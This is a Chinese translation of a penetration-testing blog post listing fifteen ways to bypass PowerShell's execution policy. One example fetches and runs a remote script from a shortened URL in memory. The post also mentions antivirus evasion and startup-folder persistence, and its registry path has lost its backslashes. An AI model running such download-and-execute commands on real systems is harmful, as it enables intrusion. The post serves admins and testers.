默认情况下,PowerShell 配置为阻止在 Windows 系统上执行 PowerShell 脚本。对于渗透测试人员、系统管理员和开发人员来说,这可能是一个障碍,但并非必须如此。在这篇博客中,我将介绍 15 种无需在系统上拥有本地管理员权限即可绕过 PowerShell 执行策略的方法。我确信有很多技巧我错过了(或者根本不知道),但希望这份备忘单能为需要它的人提供一个良好的开端。
PowerShell 执行策略是什么?
PowerShell 执行策略是确定哪些类型的 PowerShell 脚本(如果有)可以在系统上运行的设置。默认情况下,它设置为“受限”,这基本上意味着无。但是,重要的是要了解,该设置从来就不是安全控制。相反,它旨在防止管理员自找麻烦。这就是为什么有这么多的选项可以解决这个问题。包括 Microsoft 提供的一些选项。有关 PowerShell 中的执行策略设置和其他默认安全控制的更多信息,我建议阅读Carlos Perez 的博客。他提供了一个很好的概述。
为什么我要绕过执行策略?
我从人们那里听到的最常见的回答似乎是自动化,但以下是 PowerShell 在管理员、渗透测试人员和黑客中如此受欢迎的其他几个原因。PowerShell 是:
-
适用于 Windows
-
能够调用Windows API
-
无需写入磁盘即可运行命令
-
能够避免防病毒软件的检测
-
已被大多数应用程序白名单解决方案标记为“受信任”
-
用于编写许多开源渗透测试工具包的媒介
如何查看执行策略
在能够使用 PowerShell 提供的所有出色功能之前,攻击者可能必须绕过“受限”执行策略。您可以使用“Get-ExectionPolicy”PowerShell 命令查看当前配置。如果您是第一次查看该设置,它很可能设置为“受限”,如下所示。
PS C:> Get-ExecutionPolicy
还值得注意的是,执行策略可以在系统的不同级别设置。要查看列表,请使用以下命令。有关更多信息,您可以在此处查看 Microsoft 的“Set-ExecutionPolicy”页面。
Get-ExecutionPolicy -List | Format-Table -AutoSize
实验室设置说明
在下面的示例中,我将使用名为 runme.ps1 的脚本,其中包含以下 PowerShell 命令将消息写入控制台:
Write-Host "My voice is my passport, verify me."
如果您当前的策略过于开放,并且您想使其更加严格以测试以下技术,请从管理员 PowerShell 控制台运行命令“Set-ExecutionPolicy Restricted”。好吧 - 我说得够多了 - 以下是 15 种绕过 PowerShell 执行策略限制的方法。
绕过 PowerShell 执行策略
1. 将脚本粘贴到交互式 PowerShell 控制台中
将您的 PowerShell 脚本复制并粘贴到交互式控制台中,如下所示。但是,请记住,您将受到当前用户权限的限制。这是最基本的示例,当您有交互式控制台时,它可以方便地运行快速脚本。此外,此技术不会导致配置更改或需要写入磁盘。
2. 回显脚本并将其通过管道传输到 PowerShell 标准输入
只需将脚本 ECHO 到 PowerShell 标准输入即可。此技术不会导致配置更改或需要写入磁盘。
Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
3. 从文件读取脚本并传输到 PowerShell 标准输入
使用 Windows“type”命令或 PowerShell“Get-Content”命令从磁盘读取脚本并将其导入 PowerShell 标准输入。此技术不会导致配置更改,但需要将脚本写入磁盘。但是,如果您想避免写入磁盘,可以从网络共享中读取它。
示例 1:Get-Content PowerShell 命令
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
示例 2:输入命令
TYPE .runme.ps1 | PowerShell.exe -noprofile -
4. 从 URL 下载脚本并使用 Invoke 表达式执行
此技术可用于从互联网下载 PowerShell 脚本并执行,而无需写入磁盘。它也不会导致任何配置更改。我见过它以许多创造性的方式被使用,但最近看到 Matt Graeber 在一篇很棒的 PowerSploit 博客中引用了它。
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"
5. 使用命令开关
此技术与通过复制和粘贴执行脚本非常相似,但无需使用交互式控制台即可完成。它非常适合执行简单的脚本,但更复杂的脚本通常会出现解析错误。此技术不会导致配置更改或需要写入磁盘。
示例 1:完整命令
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
示例 2:短命令
Powershell -c "Write-Host 'My voice is my passport, verify me.'"
还值得注意的是,您可以将这些类型的 PowerShell 命令放入批处理文件中,并将它们放入自动运行位置(如所有用户启动文件夹),以帮助提升权限。
6. 使用 EncodeCommand 开关
这与“Command”开关非常相似,但所有脚本都以 Unicode/base64 编码字符串的形式提供。以这种方式对脚本进行编码有助于避免使用“Command”开关时遇到的所有那些令人讨厌的解析错误。此技术不会导致配置更改或需要写入磁盘。下面的示例取自 Posh-SecMod。同一个工具包包含一个很好的小压缩方法,用于在编码命令变得太长时减小命令的大小。
示例 1:完整命令
$command = "Write-Host 'My voice is my passport, verify me.'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
示例 2:使用编码字符串的短命令
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7.使用 Invoke-Command 命令
这是我在 Obscuresec 博客上偶然发现的一个有趣选项。它通常通过交互式 PowerShell 控制台或使用“命令”开关的一行程序执行,但很酷的是,它可以用于对已启用 PowerShell 远程处理的远程系统执行命令。此技术不会导致配置更改或需要写入磁盘。
invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}
根据 Obscuresec 博客,下面的命令还可用于从远程计算机获取执行策略并将其应用于本地计算机。
invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
8.使用 Invoke-Expression 命令
这是另一种通常通过交互式 PowerShell 控制台或使用“Command”开关的一行程序执行的方法。此技术不会导致配置更改或需要写入磁盘。下面我列出了一些使用 Invoke-Expression 绕过执行策略的常见方法。
示例 1:使用 Get-Content 的完整命令
Get-Content .runme.ps1 | Invoke-Expression
示例 2:使用 Get-Content 的短命令
GC .runme.ps1 | iex
9. 使用“绕过”执行策略标志
这是 Microsoft 添加的一个很好的标志,当您从文件执行脚本时,它将绕过执行策略。使用此标志时,Microsoft 声明“不会阻止任何内容,也不会发出任何警告或提示”。此技术不会导致配置更改或需要写入磁盘。
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
10. 使用“不受限制”执行策略标志
这类似于“绕过”标志。但是,当使用此标志时,Microsoft 声明它“会加载所有配置文件并运行所有脚本。如果您运行从互联网下载的未签名脚本,则会在运行之前提示您获得权限。”此技术不会导致配置更改或需要写入磁盘。
PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. 通过替换 AuthorizationManager 来禁用 ExecutionPolicy
这是比较有创意的方法之一。下面的函数可以通过交互式 PowerShell 控制台或使用“命令”开关来执行。一旦调用该函数,它将用 null 替换“AuthorizationManager”。因此,执行策略在会话的剩余时间内基本上设置为不受限制。此技术不会导致持久的配置更改或需要写入磁盘。但是,更改将在整个会话期间应用。
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy .runme.ps1
13.设置流程范围的执行策略
正如我们在介绍中看到的,执行策略可以应用于多个级别。这包括您可以控制的进程。使用此技术,可以在会话期间将执行策略设置为不受限制。此外,它不会导致配置更改,也不需要写入磁盘。
Set-ExecutionPolicy Bypass -Scope Process
14.通过命令设置CurrentUser Scope的ExcutionPolicy
此选项与进程范围类似,但通过修改注册表项将设置永久应用于当前用户的环境。此外,它不会导致配置更改,也不需要写入磁盘。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
15.通过注册表设置 CurrentUser 范围的 ExcutionPolicy
在此示例中,我展示了如何通过直接修改注册表项来持久地更改当前用户环境的执行策略。
HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell
总结
我认为这里的主题是执行策略不必成为开发人员、管理员或 渗透测试的障碍。微软从未打算将其作为安全控制。这就是为什么有这么多绕过它的选项。微软很好心地提供了一些本机选项,安全社区也想出了一些非常有趣的技巧。感谢所有通过博客和演示文稿做出贡献的人。祝大家在所有的 PowerShell 冒险中好运,别忘了负责任地进行黑客攻击。😉
正在寻找战略合作伙伴来严格测试您的 Windows 系统?探索 NetSPI 的网络渗透测试服务。
参考
https://obscuresecurity.blogspot.com/2011/08/powershell-executionpolicy.html
https://technet.microsoft.com/en-us/library/hh849694.aspx
https://technet.microsoft.com/en-us/library/hh849812.aspx
https://technet.microsoft.com/en-us/library/hh849893.aspx
https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
https://www.hanselman.com/blog/SigningPowerShellScripts.aspx
https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
15 Ways to Bypass the PowerShell Execution Policy
https://www.netspi.com/blog/technical-blog/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/
原文始发于微信公众号(Ots安全):绕过 PowerShell 执行策略的 15 种方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论